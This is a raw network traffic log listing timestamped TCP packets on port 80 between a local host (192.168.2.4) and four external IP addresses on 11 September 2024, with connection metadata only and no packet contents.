Sep 11, 2024 16:22:17.485968113 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485979080 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485991001 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.486012936 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.486040115 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.486136913 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.486149073 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.486191988 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.488840103 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.488851070 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.488862038 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.488873005 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.488883972 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.488895893 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.488894939 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.488909006 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.488922119 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.488926888 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.488934040 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.488944054 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.488957882 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.488962889 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.488975048 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.488982916 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.489008904 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.489171982 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.489183903 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.489193916 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.489206076 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.489218950 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.489244938 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.489355087 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.489367008 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.489377022 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.489387989 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.489398003 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.489406109 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.489429951 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.489454031 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.491405964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491415977 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491426945 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491468906 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.491520882 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.491554022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491564989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491575003 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491585970 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491599083 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.491616011 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491628885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491637945 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491643906 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.491648912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491656065 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.491661072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491686106 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.491724968 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.491890907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491900921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.491940975 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492069006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492080927 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492090940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492103100 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492114067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492124081 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492127895 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492136955 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492156982 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492177963 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492259979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492270947 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492283106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492295027 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492306948 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492306948 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492319107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492324114 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492331982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492342949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492353916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492364883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492372990 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492389917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492408991 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492427111 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492578030 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492589951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492599964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492611885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492624044 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492634058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492644072 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492672920 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492698908 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492739916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492750883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492762089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492772102 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492784977 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492784977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492806911 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492841005 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.492940903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492957115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492965937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492978096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492995977 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.492996931 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493007898 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493019104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493030071 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493037939 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493041992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493055105 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493063927 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493089914 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493108034 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493180037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493192911 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493202925 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493215084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493226051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493228912 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493266106 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493334055 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493345022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493355989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493366957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493376970 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493380070 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493387938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493400097 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493408918 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493411064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493428946 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493493080 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493518114 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493535995 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493594885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493607044 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493618011 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493629932 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493648052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493654966 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493659973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493696928 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493719101 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493725061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493736982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493772984 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493835926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493845940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493858099 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493875980 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493912935 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.493942976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493954897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493966103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.493977070 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.494021893 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.494021893 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.498039961 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498050928 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498063087 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498074055 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498085976 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498095989 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498106956 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498115063 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.498145103 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498146057 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.498157024 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498167992 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.498168945 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498182058 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498192072 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498203993 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498210907 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.498215914 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.498253107 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.524471045 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524485111 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524497986 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524508953 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524519920 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524530888 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524545908 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524561882 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524629116 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.524641991 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524653912 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524657965 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.524666071 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524678946 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524689913 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524703026 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.524724960 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.524724960 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.524750948 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.524780989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.524832964 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.524988890 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.525001049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.525010109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.525021076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.525028944 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.525033951 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.525046110 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.525069952 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.525110960 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.525132895 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.525142908 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525154114 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525173903 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.525290012 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.525305033 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525316000 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525326014 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525336981 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525346994 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525357962 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525361061 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.525367975 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525377989 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525389910 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525404930 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.525446892 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.525446892 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.525461912 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525473118 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525485039 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525496006 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525510073 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.525543928 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.525568008 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.525782108 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525827885 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.525939941 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525950909 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525960922 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525971889 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525983095 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525994062 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.525994062 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.526057005 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.526057005 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.526077986 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.526124001 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.526654959 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.526665926 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.526715040 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.526753902 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.526793003 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.526803970 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.526814938 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.526854038 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.526870012 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.526977062 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.526988029 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.526998997 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527035952 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.527057886 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.527430058 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527441978 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527451992 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527481079 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.527498960 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.527571917 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527581930 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527594090 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527604103 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527615070 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527626038 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527640104 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527643919 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.527643919 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.527652025 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527663946 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527674913 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527682066 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.527725935 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.527909994 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527920961 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527930975 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527941942 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527954102 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527964115 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527971983 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.527975082 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527986050 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.527997017 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.528007030 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.528007030 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.528007030 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.528027058 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.528044939 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.528057098 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.528065920 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.528079987 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.528084040 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.528084040 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.528115034 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.528230906 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.528332949 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.528371096 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.528486967 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.529077053 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529117107 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.529261112 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529272079 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529282093 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529293060 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529303074 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529313087 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.529314995 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529369116 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.529369116 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.529414892 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529424906 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529434919 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529443979 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529453993 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.529455900 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529520035 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.529520035 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.529547930 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529566050 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529577017 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.529617071 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.529617071 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.529726028 CEST	80	49737	31.41.244.9	192.168.2.4
